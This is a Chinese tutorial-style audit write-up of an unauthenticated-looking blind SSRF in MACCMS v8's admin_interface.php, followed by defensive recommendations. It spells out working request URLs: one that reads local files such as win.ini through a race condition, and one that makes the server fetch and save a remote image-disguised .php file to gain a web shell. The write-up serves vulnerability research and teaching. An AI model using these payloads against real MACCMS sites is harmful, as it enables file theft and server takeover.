代码审计-无回显SSRF的奇妙审计之旅
字数 1197 2025-08-09 17:09:35

无回显SSRF漏洞审计与利用实战教学

漏洞概述

本教学文档基于对MACCMS v8系统的代码审计过程,详细讲解如何发现、分析和利用一个无回显SSRF(Server-Side Request Forgery)漏洞,并最终实现文件上传getshell的全过程。

漏洞发现

1. 定位关键函数

审计从搜索curl_exec()函数开始,该函数常用于发起HTTP请求,是SSRF漏洞的常见来源。

maccms8\inc\common\function.php文件的824行发现使用了curl_exec()

function getPage($url, $timeout = 10, $header = "") {
    // ...
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    // ...
    $html = curl_exec($ch);
    // ...
}

2. 参数溯源

getPage()函数的$url参数未经过滤,接下来反向查找调用链:

  1. getPage()savepic()函数调用(1746行)
  2. savepic()admin_interface.php调用(452行)
  3. 参数$d_pic通过be()函数接收(66行)

be()是自定义函数,all表示可通过GET或POST接收参数,d_pic就是参数值。

利用条件分析

要触发漏洞,需要满足以下条件:

  1. 传入ac=vod(GET/POST)
  2. 传入正确的pass值(来自config/config.php
  3. 站外入库配置中:
    • $MAC['collect']['vod']['pic']设为1(后台"采集过程中同步图片"开启)
    • 二次更新规则包含'j'(选择图片)

漏洞验证

构造请求验证SSRF:

http://127.0.0.1/maccms8/admin1212/admin_interface.php?ac=vod&pass=LMB9UVWA63&d_name=1&d_type=1&d_pic=http://ckrooo.dnslog.cn

注意:首次访问可能只执行SQL注入,第二次访问才会触发DNS查询。

无回显SSRF的利用技巧

虽然漏洞无回显,但通过代码分析发现:

  1. savepic()函数会将获取的内容写入文件(1749行)
  2. 如果不是图片内容,会删除该文件

条件竞争利用

利用写入和删除之间的时间差,通过条件竞争读取文件:

  1. 使用Burp Suite同时发送多个请求:
    http://127.0.0.1/maccms8/admin1212/admin_interface.php?ac=vod&pass=LMB9UVWA63&d_name=1&d_type=1&d_pic=file:///c:/windows/win.ini
    
  2. 快速访问临时文件,在删除前读取内容

文件上传getshell

更严重的漏洞是文件上传:

  1. 构造图片马(必须是有效图片)
  2. 但可以保留.php后缀
  3. 请求:
    http://127.0.0.1/maccms8/admin1212/admin_interface.php?ac=vod&pass=LMB9UVWA63&d_name=10&d_type=2&d_pic=http://xxx/1234.php
    
  4. 文件会被上传并可解析执行

其他利用点

  1. ac=art参数路径(需修改相应后台配置)
  2. 多种协议支持(file://, http://等)
  3. 内网服务探测

防御建议

  1. curl_exec()的URL参数进行严格过滤
  2. 限制可访问的协议(禁用file://等危险协议)
  3. 文件上传时严格检查文件内容和扩展名
  4. 使用白名单机制限制外部请求的目标地址
  5. 对敏感操作增加权限验证

总结

本案例展示了:

  1. 如何通过系统化代码审计发现SSRF漏洞
  2. 无回显漏洞的验证和利用技巧
  3. 条件竞争在实际漏洞利用中的应用
  4. 从SSRF到文件上传getshell的完整攻击链

关键点在于深入理解代码执行流程,不放过任何可能的利用点,即使看似"无用"的漏洞也可能通过巧妙方法变成严重威胁。

无回显SSRF漏洞审计与利用实战教学 漏洞概述 本教学文档基于对MACCMS v8系统的代码审计过程,详细讲解如何发现、分析和利用一个无回显SSRF(Server-Side Request Forgery)漏洞,并最终实现文件上传getshell的全过程。 漏洞发现 1. 定位关键函数 审计从搜索 curl_exec() 函数开始,该函数常用于发起HTTP请求,是SSRF漏洞的常见来源。 在 maccms8\inc\common\function.php 文件的824行发现使用了 curl_exec() : 2. 参数溯源 getPage() 函数的 $url 参数未经过滤,接下来反向查找调用链: getPage() 被 savepic() 函数调用(1746行) savepic() 被 admin_interface.php 调用(452行) 参数 $d_pic 通过 be() 函数接收(66行) be() 是自定义函数, all 表示可通过GET或POST接收参数, d_pic 就是参数值。 利用条件分析 要触发漏洞,需要满足以下条件: 传入 ac=vod (GET/POST) 传入正确的 pass 值(来自 config/config.php ) 站外入库配置中: $MAC['collect']['vod']['pic'] 设为1(后台"采集过程中同步图片"开启) 二次更新规则包含'j'(选择图片) 漏洞验证 构造请求验证SSRF: 注意 :首次访问可能只执行SQL注入,第二次访问才会触发DNS查询。 无回显SSRF的利用技巧 虽然漏洞无回显,但通过代码分析发现: savepic() 函数会将获取的内容写入文件(1749行) 如果不是图片内容,会删除该文件 条件竞争利用 利用写入和删除之间的时间差,通过条件竞争读取文件: 使用Burp Suite同时发送多个请求: 快速访问临时文件,在删除前读取内容 文件上传getshell 更严重的漏洞是文件上传: 构造图片马(必须是有效图片) 但可以保留.php后缀 请求: 文件会被上传并可解析执行 其他利用点 ac=art 参数路径(需修改相应后台配置) 多种协议支持(file://, http://等) 内网服务探测 防御建议 对 curl_exec() 的URL参数进行严格过滤 限制可访问的协议(禁用file://等危险协议) 文件上传时严格检查文件内容和扩展名 使用白名单机制限制外部请求的目标地址 对敏感操作增加权限验证 总结 本案例展示了: 如何通过系统化代码审计发现SSRF漏洞 无回显漏洞的验证和利用技巧 条件竞争在实际漏洞利用中的应用 从SSRF到文件上传getshell的完整攻击链 关键点在于深入理解代码执行流程,不放过任何可能的利用点,即使看似"无用"的漏洞也可能通过巧妙方法变成严重威胁。